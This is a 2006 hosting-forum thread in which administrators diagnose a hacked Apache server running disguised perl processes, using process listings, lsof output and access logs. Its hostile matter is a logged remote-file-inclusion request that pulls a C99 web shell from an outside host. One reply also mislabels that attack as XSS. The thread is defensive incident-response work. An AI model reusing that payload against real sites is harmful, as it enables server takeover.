total 79.4% 0.0% 20.3% 0.0% 0.1% 0.0% 0.0%

PID PPID UID USER PRI NI SIZE RSS SHARE WCHAN FLAGS STAT %CPU %MEM TIME CPU COMMAND

26905 1 99 nobody 25 0 4100 4100 1608 40 R 37.8 0.3 7:38 0 [syslogd]

27157 1 99 nobody 25 0 4060 4060 1588 40 R 36.8 0.3 0:16 0 -bin

27175 1 99 nobody 25 0 4172 4172 1588 40 R 0.1 0.4 0:00 0 -bin

# lsof -p 26905 | less

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 26905 nobody cwd DIR 3,3 4096 2 /

perl 26905 nobody rtd DIR 3,3 4096 2 /

perl 26905 nobody txt REG 3,3 994885 1131018 /usr/bin/perl

perl 26905 nobody mem REG 3,3 76540 524331 /lib/libresolv-2.3.2.so

perl 26905 nobody mem REG 3,3 18632 524316 /lib/libnss_dns-2.3.2.so

perl 26905 nobody mem REG 3,3 51952 524388 /lib/libnss_files-2.3.2.so

perl 26905 nobody mem REG 3,3 24286 6160524 /usr/lib/perl5/5.8.1/i686-linux/auto/Socket/Socket.so

perl 26905 nobody mem REG 3,3 17470 6471814 /usr/lib/perl5/5.8.1/i686-linux/auto/IO/IO.so

perl 26905 nobody mem REG 3,3 32148976 3277470 /usr/lib/locale/locale-archive

perl 26905 nobody mem REG 3,3 1573120 2097167 /lib/tls/libc-2.3.2.so

perl 26905 nobody mem REG 3,3 12544 524337 /lib/libutil-2.3.2.so

perl 26905 nobody mem REG 3,3 23388 524297 /lib/libcrypt-2.3.2.so

perl 26905 nobody mem REG 3,3 213508 2097170 /lib/tls/libm-2.3.2.so

perl 26905 nobody mem REG 3,3 14868 524422 /lib/libdl-2.3.2.so

perl 26905 nobody mem REG 3,3 91040 524371 /lib/libnsl-2.3.2.so

perl 26905 nobody mem REG 3,3 106912 524417 /lib/ld-2.3.2.so

perl 26905 nobody 0r CHR 1,3 67062 /dev/null

perl 26905 nobody 1w FIFO 0,5 645353157 pipe

perl 26905 nobody 2w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

perl 26905 nobody 3u IPv4 645353212 TCP myserver.mydomain.com:40400->58.151.16.163:8067 (ESTABLISHED)

perl 26905 nobody 4u unix 0xdfee1300 596705780 socket

perl 26905 nobody 5r FIFO 0,5 174381662 pipe

perl 26905 nobody 6r FIFO 0,5 247699874 pipe

perl 26905 nobody 15w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

# lsof -p 27157 | less

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 27157 nobody cwd DIR 3,3 4096 2 /

perl 27157 nobody rtd DIR 3,3 4096 2 /

perl 27157 nobody txt REG 3,3 994885 1131018 /usr/bin/perl

perl 27157 nobody mem REG 3,3 76540 524331 /lib/libresolv-2.3.2.so

perl 27157 nobody mem REG 3,3 18632 524316 /lib/libnss_dns-2.3.2.so

perl 27157 nobody mem REG 3,3 51952 524388 /lib/libnss_files-2.3.2.so

perl 27157 nobody mem REG 3,3 24286 6160524 /usr/lib/perl5/5.8.1/i686-linux/auto/Socket/Socket.so

perl 27157 nobody mem REG 3,3 17470 6471814 /usr/lib/perl5/5.8.1/i686-linux/auto/IO/IO.so

perl 27157 nobody mem REG 3,3 32148976 3277470 /usr/lib/locale/locale-archive

perl 27157 nobody mem REG 3,3 1573120 2097167 /lib/tls/libc-2.3.2.so

perl 27157 nobody mem REG 3,3 12544 524337 /lib/libutil-2.3.2.so

perl 27157 nobody mem REG 3,3 23388 524297 /lib/libcrypt-2.3.2.so

perl 27157 nobody mem REG 3,3 213508 2097170 /lib/tls/libm-2.3.2.so

perl 27157 nobody mem REG 3,3 14868 524422 /lib/libdl-2.3.2.so

perl 27157 nobody mem REG 3,3 91040 524371 /lib/libnsl-2.3.2.so

perl 27157 nobody mem REG 3,3 106912 524417 /lib/ld-2.3.2.so

perl 27157 nobody 0r CHR 1,3 67062 /dev/null

perl 27157 nobody 1w FIFO 0,5 645411183 pipe

perl 27157 nobody 2w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

perl 27157 nobody 3u IPv4 645412166 TCP myserver.mydomain.com:41061->mail.me.at.pornstar-post.com:8004 (ESTABLISHED)

perl 27157 nobody 4u unix 0xdfee1300 596705780 socket

perl 27157 nobody 5r FIFO 0,5 174381662 pipe

perl 27157 nobody 6r FIFO 0,5 247699874 pipe

perl 27157 nobody 15w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

# lsof -p 27175 | less

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

perl 27175 nobody cwd DIR 3,3 4096 2 /

perl 27175 nobody rtd DIR 3,3 4096 2 /

perl 27175 nobody txt REG 3,3 994885 1131018 /usr/bin/perl

perl 27175 nobody mem REG 3,3 76540 524331 /lib/libresolv-2.3.2.so

perl 27175 nobody mem REG 3,3 18632 524316 /lib/libnss_dns-2.3.2.so

perl 27175 nobody mem REG 3,3 51952 524388 /lib/libnss_files-2.3.2.so

perl 27175 nobody mem REG 3,3 24286 6160524 /usr/lib/perl5/5.8.1/i686-linux/auto/Socket/Socket.so

perl 27175 nobody mem REG 3,3 17470 6471814 /usr/lib/perl5/5.8.1/i686-linux/auto/IO/IO.so

perl 27175 nobody mem REG 3,3 32148976 3277470 /usr/lib/locale/locale-archive

perl 27175 nobody mem REG 3,3 1573120 2097167 /lib/tls/libc-2.3.2.so

perl 27175 nobody mem REG 3,3 12544 524337 /lib/libutil-2.3.2.so

perl 27175 nobody mem REG 3,3 23388 524297 /lib/libcrypt-2.3.2.so

perl 27175 nobody mem REG 3,3 213508 2097170 /lib/tls/libm-2.3.2.so

perl 27175 nobody mem REG 3,3 14868 524422 /lib/libdl-2.3.2.so

perl 27175 nobody mem REG 3,3 91040 524371 /lib/libnsl-2.3.2.so

perl 27175 nobody mem REG 3,3 106912 524417 /lib/ld-2.3.2.so

perl 27175 nobody 0r CHR 1,3 67062 /dev/null

perl 27175 nobody 1w FIFO 0,5 645411183 pipe

perl 27175 nobody 2w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

perl 27175 nobody 3u IPv4 645412166 TCP myserver.mydomain.com:41061->mail.me.at.pornstar-post.com:8004 (ESTABLISHED)

perl 27175 nobody 4u unix 0xdfee1300 596705780 socket

perl 27175 nobody 5r FIFO 0,5 174381662 pipe

perl 27175 nobody 6r FIFO 0,5 247699874 pipe

perl 27175 nobody 7u IPv4 645415751 UDP *:57429

perl 27175 nobody 15w REG 3,3 165840796 7487556 /usr/local/apache/logs/error_log

If any of this looks familiar I put my solution in the next post...

lizardthefish

Sep 11 2006, 05:42 PM

THE SOLUTION

I found the logs you spoke of here:

/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

In the error_log I found the following grouped around the time I started seeing an issue:

CODE

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:46 -0500] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /ads/adxmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /xmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /xmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:47 -0500] "GET /xmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:48 -0500] "GET /xmlrpc/xmlrpc.php HTTP/1.0" 404 -

213.186.58.73 - - [27/Aug/2006:01:27:48 -0500] "GET /xmlrpc/xmlrpc.php HTTP/1.0" 404 -

You can tell it is searching all over for an xmlrpc.php script. So I did a search on my server and found the xmlrpc.php file to be in any wordpress installations.

CODE

root@myserver [~]# locate xmlrpc.php

/home/anAccount/public_html/subAccount/xmlrpc.php

/home/anAccount/public_html/subAccount/xmlrpc.php

/home/anAccount/public_html/xmlrpc.php

/home/anAccount/public_html/xmlrpc.php

A query to Google revealed a known exploit with xmlrpc.php. To stop the abuse I moved the file out of the web accessible directory. I'll take a possibly broken wordpress installation over a definitly broken server any day. I hope this helps others, and a big thank you to those who helped me.

Lizard

jondolar

Sep 26 2006, 02:12 AM

Your solution helped me allot lizardthefish.

I was getting the exact same conditions with dozens of perl scripts running. I searched the error_log and found which site was being attacked over and over. They were looking for a different exploit than your case but the method to track it down was the same.

Thanks

ramprage

Sep 26 2006, 09:44 AM

Grab yourself a copy of Nobody Check to make detecting these easier

It really works wonders. When v 1.03 is released it will support some wonderful new features.

You need to also setup a protection layer. If they can get perl scripts running like this there's another issue such as how did they get on the box and why were they able to run? You need mod_security and I suggesting hiring someone to lock down the box as well.

lizardthefish

Dec 4 2006, 12:05 AM

A long delayed update to the problem I was having.

Though I'd thought I'd found the problem when I discovered a cracker panning for the "adxmlrpc.php" file with a known exploit. I ended up finding the REAL culprit to be a PHP script/page in an application that was installed in a site. The application was using PHP's active Registered Globals feature. This is ugly.

Here's the gyst.

If I had written the PHP code custom, then I would have probably used variables that would be hard to guess. Not as though that would have been a goal. It simply would have been hard to guess what variable names I would have used and the cracker likely would have moved on for easier prey. Unless of course I was his sole target. But...

I was using a common, open-source application that used PHP's Registered Globals. This allowed the cracker to browse the internet hitting the same URL in every Domain to find sites that were using the script. They found mine. Then they exploited it.

So, this time I have Registered Globals off in PHP and I'm going to apply more scrutiny to the open source scripts I allow to run.

I have a couple questions though.

1] I thought I had effectively rendered my /tmp directory as unable to execute contained files. (Found some answers here.)(I followed the how-to HERE to set it up.)
2] I'd like to know more about mod_security
3] Also, more about "Nobody Check"
4] And lastly, could you elaborate on what you mean by this, "You need to also setup a protection layer."?

Forum links are welcome (I'll add links as I find info). As are explanation.

Thank you for your help and input,

Lizard

lizardthefish

Dec 4 2006, 04:07 AM

Caught this in my logs...

==> /usr/local/apache/domlogs/mysite.com <==
212.71.37.82 - - [04/Dec/2006:03:37:05 -0600] "GET /gallery/styles.php?toroot=http://dm3r7.com/ch99.txt? HTTP/1.1" 200 177 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

Am I right in saying that this is an attempt to exploit a known PHP application script that uses PHP Registered Globals ON? And if RegGlobals is OFF this didn't do anything?

Source of C99Shell script for evil-doing = http://dm3r7.com/ch99.txt
IP of badguy or OWn3D box = 212.71.37.82

QUOTE

IP Information 212.71.37.82
Record Type: IP Address
Cached Whois: 2006-11-27
IP Location: Saudi Arabia Saudi Arabia - Ar Riyad - Riyadh - National Engineering Services
Blacklist Status: Clear
Whois Record

inetnum: 212.71.32.0 - 212.71.45.255
netname: NESMA
descr: National Engineering Services
descr: and Marketing Company Ltd. (NESMA)
country: SA
admin-c: NAR12-RIPE
tech-c: NTR2-RIPE
status: ASSIGNED PA
mnt-by: NESMA-MNT
source: RIPE # Filtered

person: NESMA ADMIN RIPE
address: National Engineering Services and Marketing Company Ltd.
address: NESMA - Internet Services
address: P.O. Box 300940, Riyadh 11372 - KSA
phone: +9661 465 6767
fax-no: +9661 462 6034
e-mail: Whois Privacy and Spam Prevention by DomainTools.com
nic-hdl: NAR12-RIPE
source: RIPE # Filtered

person: NESMA Tech RIPE
address: National Engineering Services and Marketing Company Ltd.
address: NESMA - Internet Services
address: P.O. Box 300940, Riyadh 11372 - KSA
phone: +9661 465 6767
fax-no: +9661 462 6034
e-mail: Whois Privacy and Spam Prevention by DomainTools.com
nic-hdl: NTR2-RIPE
source: RIPE # Filtered

James Jhurani

Dec 4 2006, 07:12 PM

I believe I have seen this issue in quite a few tickets.

first off do not kill the process until you have found where it is coming from. Leaving the process running may seem counter-intuitive, but the information you can gain on a running process is greater than that which you can gain on a process that WAS running.

Try this:

find / -name "ps -x"

This may take a while, but it is worth it. I have seen a few systems with the file "ps -x" on it. Now if this comes up clean the intruder may have changed the process name(frequently done with perl).

in which case another idea would be to grab the PID of the process causing the problem and cd into /proc/. I believe eth0 mentioned this method earlier. I will use the original posters ps as an example:

nobody 28668 0.0 0.6 7592 3264 ? S 09:36 0:00 ps -x
nobody 29158 61.7 0.6 7604 3272 ? R 09:38 0:58 ps -x

So you would want to cd /proc/28668 ; ls -l
that should reveal the location of the malicious script in the enviornmental variable cwd. If the cwd is a file path, follow it... that is where the file was run from. It will also tell you which users site was exploited(based upon the location).

If the cwd responds with //, then it very well may have been exploited via XSS vulnerability.

Meaning you have a vulnerable site, that allows scripts to be executed on your server without having the actual code on your server. For more info on XSS(http://en.wikipedia.org/wiki/Xss). If this is the case you will need to hunt through your httpd logs and find the site that was exploited, and how.

Sorry if this seems a little disorganized.